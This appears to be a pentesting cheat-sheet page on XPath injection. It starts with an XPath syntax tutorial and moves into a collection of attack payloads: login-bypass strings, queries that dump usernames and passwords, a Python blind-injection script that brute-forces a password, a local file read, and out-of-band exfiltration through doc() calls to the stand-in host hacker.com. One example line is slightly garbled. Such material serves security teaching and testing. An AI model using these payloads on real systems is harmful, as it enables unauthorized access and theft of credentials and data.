Comment on page
XPATH injection
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
Expression | Description |
nodename | Selects all nodes with the name "nodename" |
/ | Selects from the root node |
// | Selects nodes in the document from the current node that match the selection no matter where they are |
. | Selects the current node |
.. | Selects the parent of the current node |
@ | Selects attributes |
Path Expression | Result |
bookstore | Selects all nodes with the name "bookstore" |
/bookstore | Selects the root element bookstoreNote: If the path starts with a slash ( / ) it always represents an absolute path to an element! |
bookstore/book | Selects all book elements that are children of bookstore |
//book | Selects all book elements no matter where they are in the document |
bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element |
//@lang | Selects all attributes that are named lang |
Path Expression | Result |
/bookstore/book[1] | Selects the first book element that is the child of the bookstore element.Note: In IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve this problem in IE, set the SelectionLanguage to XPath: In JavaScript: xml.setProperty("SelectionLanguage","XPath"); |
/bookstore/book[last()] | Selects the last book element that is the child of the bookstore element |
/bookstore/book[last()-1] | Selects the last but one book element that is the child of the bookstore element |
/bookstore/book[position()<3] | Selects the first two book elements that are children of the bookstore element |
//title[@lang] | Selects all the title elements that have an attribute named lang |
//title[@lang='en'] | Selects all the title elements that have a "lang" attribute with a value of "en" |
/bookstore/book[price>35.00] | Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00 |
/bookstore/book[price>35.00]/title | Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00 |
Wildcard | Description |
* | Matches any element node |
@* | Matches any attribute node |
node() | Matches any node of any kind |
Path Expression | Result |
/bookstore/* | Selects all the child element nodes of the bookstore element |
//* | Selects all elements in the document |
//title[@*] | Selects all title elements which have at least one attribute of any kind |
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Username: ' or 1]%00
IMPORTANT: Notice that the "and" is the first operation made.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
The output contains strings and the user can manipulate the values to search:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
